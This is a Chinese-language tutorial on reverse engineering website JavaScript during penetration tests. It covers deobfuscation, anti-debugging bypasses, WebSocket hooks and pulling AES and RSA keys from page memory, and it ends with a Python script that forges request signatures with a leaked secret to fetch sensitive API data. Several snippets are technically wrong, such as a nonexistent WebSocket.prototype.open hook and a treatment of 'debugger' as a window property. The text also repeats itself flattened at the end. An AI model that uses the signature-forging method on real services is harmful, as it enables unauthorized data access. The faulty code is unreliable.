JS 逆向在渗透测试中的 1-4 级实战应用:从信息收集到算法破解
字数 1332 2025-08-29 08:30:06

JS逆向在渗透测试中的实战应用教学文档

一、JS逆向技术分级概述

JS逆向技术可分为5个级别,本文涵盖1-4级:

  1. 1级:JS文件定位与基础分析
  2. 2级:基础混淆与字符串解密
  3. 3级:动态调试与反反爬对抗
  4. 4级:加密算法逆向与复现
  5. 5级:自动化攻击链构建(将在后续文章中介绍)

二、1级:JS文件定位与基础分析

2.1 关键JS文件挖掘技巧

流量监控与抓包

  • 使用Burp Suite的Proxy模块拦截HTTP请求
  • 通过XHR/fetch过滤定位动态加载的JS文件
  • 示例Burp Repeater请求:
    GET /static/js/encrypt.js HTTP/1.1
    Host: target.com
    

URL路径特征分析

常见敏感路径模式:

  • /api/signature.js - 签名逻辑
  • /utils/crypto.js - 加密工具
  • /auth/verify.js - 认证验证

电商平台登录加密分析案例

  • 在Network面板中发现login.js加载后,password参数由明文变为哈希值
  • 原始请求:
    POST /login HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    username=admin&password=123
    
  • 加密后请求:
    POST /login HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    username=admin&password=21232f297a57a5a743894a0e4a801fc3
    

2.2 敏感信息提取技术

字符串搜索工具链

  • 使用grep提取JS中的Base64字符串:
    grep -oP '(?<=btoa\()["'']([^"''\n]+)["'']' main.js | base64 -d
    

正则表达式实战

匹配可能的加密函数:

import re
pattern = re.compile(r'(aesEncrypt|rsaSign|md5Hash)\s*\(')
with open('main.js', 'r') as f:
    matches = pattern.findall(f.read())
print(matches)  # 输出所有加密函数名

三、2级:基础混淆与字符串解密

3.1 自动化去混淆工具链

de4js高级用法

de4js -r -m -o clean/ obfuscated/  # 递归处理多层混淆并生成可读性代码

手动修复技巧

处理eval包裹的Base64字符串:

// 混淆代码
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%73%3a%2f%2f%65%78%61%6d%70%6c%65%2e%63%6f%6d%22'));

// 修复后
document.location = "https://example.com";

3.2 字符串加密破解实战

多层嵌套解密脚本

import base64
import urllib.parse

encrypted = "JUUyJTg1JThGJUUzJTlDJThGJUU0JUJEJTlG"
decoded = base64.b64decode(encrypted).decode('utf-8')
decoded = urllib.parse.unquote(decoded)
print(decoded)  # 输出原始字符串

CMS后台XSS漏洞利用案例

破解eval(unescape(...))包裹的恶意脚本:

// 混淆代码
eval(unescape('%77%69%6e%64%6f%77%2e%61%6c%65%72%74%28%27%58%53%53%27%29'));

// 修复后
window.alert('XSS');

四、3级:动态调试与反反爬对抗

4.1 调试器绕过技术

反调试检测绕过

// 禁用debugger语句
(function () {
    var oldDebugger = window.debugger;
    window.debugger = function () {
        // 空实现
    };
})();

// 绕过setInterval检测
var oldSetInterval = window.setInterval;
window.setInterval = function (fn, delay) {
    return oldSetInterval(fn, delay + 1000);
};

内存数据抽取工具

使用Chrome DevTools的Memory面板查找aesKey变量:

  1. 录制内存快照
  2. 搜索关键词
  3. 右键"Reveal in Sources"

4.2 动态加载JS分析

WebSocket监听实战

// 在控制台注入代码监听WebSocket消息
var oldWebSocket = WebSocket;
WebSocket = function (url) {
    this.ws = new oldWebSocket(url);
    this.ws.onmessage = function (e) {
        console.log('WebSocket Message:', e.data);
    };
};

金融平台风控逻辑逆向案例

通过Hook window.WebSocket方法捕获动态加载的风控JS文件:

var originalOpen = WebSocket.prototype.open;
WebSocket.prototype.open = function (url) {
    if (url.includes('risk.js')) {
        console.log('发现风控JS:', url);
    }
    originalOpen.apply(this, arguments);
};

五、4级:加密算法逆向与复现

5.1 对称加密逆向实战

AES-CBC模式破解

通过console.log注入获取密钥和IV:

console.log('aesKey:', window.aesKey);
console.log('iv:', window.iv);

Python复现解密逻辑

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

5.2 非对称加密破解案例

RSA公私钥提取

在JS文件中搜索setPublicKey和setPrivateKey:

var publicKey = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...';
var privateKey = '-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSj...';

Python模拟加密

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

key = RSA.importKey(publicKey)
cipher = PKCS1_v1_5.new(key)
encrypted = cipher.encrypt(b'password')

六、实战案例:从抓包到漏洞利用

6.1 漏洞挖掘流程

  1. 抓包分析:发现某SaaS平台API请求含sign参数
    GET /api/data?token=abc123&sign=456 HTTP/1.1
    
  2. JS逆向:定位到sign由md5(token+timestamp+secret)生成
  3. 密钥泄露:通过内存快照获取window.secret = 'secure_key'
  4. 漏洞利用:构造恶意请求访问敏感数据

6.2 自动化脚本开发

import requests
import hashlib
import time

def generate_sign(token, secret):
    timestamp = str(int(time.time()))
    raw = f"{token}{timestamp}{secret}"
    return hashlib.md5(raw.encode()).hexdigest()

# 构造恶意请求
token = 'admin_token'
secret = 'secure_key'
sign = generate_sign(token, secret)
url = f"https://target.com/api/data?token={token}&sign={sign}"
response = requests.get(url)
print(response.json())  # 输出敏感数据

七、学习资源推荐

  1. 工具
    • JSDOS (JS沙箱环境)
  2. 社区
    • Reddit r/javascriptreverse
  3. 练习平台
    • JSFuck (混淆代码挑战)
  4. 测试环境
    docker run -p 80:80 vulnerables/web-dvwa
    

八、总结

通过本文的技术解析和实战案例,可以掌握从基础信息收集到复杂加密算法逆向的全流程,为渗透测试和SRC漏洞挖掘提供关键技术支撑。建议在实际操作中结合Docker搭建测试环境,逐步提升逆向能力。

JS逆向在渗透测试中的实战应用教学文档 一、JS逆向技术分级概述 JS逆向技术可分为5个级别,本文涵盖1-4级: 1级 :JS文件定位与基础分析 2级 :基础混淆与字符串解密 3级 :动态调试与反反爬对抗 4级 :加密算法逆向与复现 5级 :自动化攻击链构建(将在后续文章中介绍) 二、1级:JS文件定位与基础分析 2.1 关键JS文件挖掘技巧 流量监控与抓包 使用Burp Suite的Proxy模块拦截HTTP请求 通过XHR/fetch过滤定位动态加载的JS文件 示例Burp Repeater请求: URL路径特征分析 常见敏感路径模式: /api/signature.js - 签名逻辑 /utils/crypto.js - 加密工具 /auth/verify.js - 认证验证 电商平台登录加密分析案例 在Network面板中发现 login.js 加载后,password参数由明文变为哈希值 原始请求: 加密后请求: 2.2 敏感信息提取技术 字符串搜索工具链 使用grep提取JS中的Base64字符串: 正则表达式实战 匹配可能的加密函数: 三、2级:基础混淆与字符串解密 3.1 自动化去混淆工具链 de4js高级用法 手动修复技巧 处理eval包裹的Base64字符串: 3.2 字符串加密破解实战 多层嵌套解密脚本 CMS后台XSS漏洞利用案例 破解eval(unescape(...))包裹的恶意脚本: 四、3级:动态调试与反反爬对抗 4.1 调试器绕过技术 反调试检测绕过 内存数据抽取工具 使用Chrome DevTools的Memory面板查找aesKey变量: 录制内存快照 搜索关键词 右键"Reveal in Sources" 4.2 动态加载JS分析 WebSocket监听实战 金融平台风控逻辑逆向案例 通过Hook window.WebSocket方法捕获动态加载的风控JS文件: 五、4级:加密算法逆向与复现 5.1 对称加密逆向实战 AES-CBC模式破解 通过console.log注入获取密钥和IV: Python复现解密逻辑 5.2 非对称加密破解案例 RSA公私钥提取 在JS文件中搜索setPublicKey和setPrivateKey: Python模拟加密 六、实战案例:从抓包到漏洞利用 6.1 漏洞挖掘流程 抓包分析 :发现某SaaS平台API请求含sign参数 JS逆向 :定位到sign由 md5(token+timestamp+secret) 生成 密钥泄露 :通过内存快照获取 window.secret = 'secure_key' 漏洞利用 :构造恶意请求访问敏感数据 6.2 自动化脚本开发 七、学习资源推荐 工具 : JSDOS (JS沙箱环境) 社区 : Reddit r/javascriptreverse 练习平台 : JSFuck (混淆代码挑战) 测试环境 : 八、总结 通过本文的技术解析和实战案例,可以掌握从基础信息收集到复杂加密算法逆向的全流程,为渗透测试和SRC漏洞挖掘提供关键技术支撑。建议在实际操作中结合Docker搭建测试环境,逐步提升逆向能力。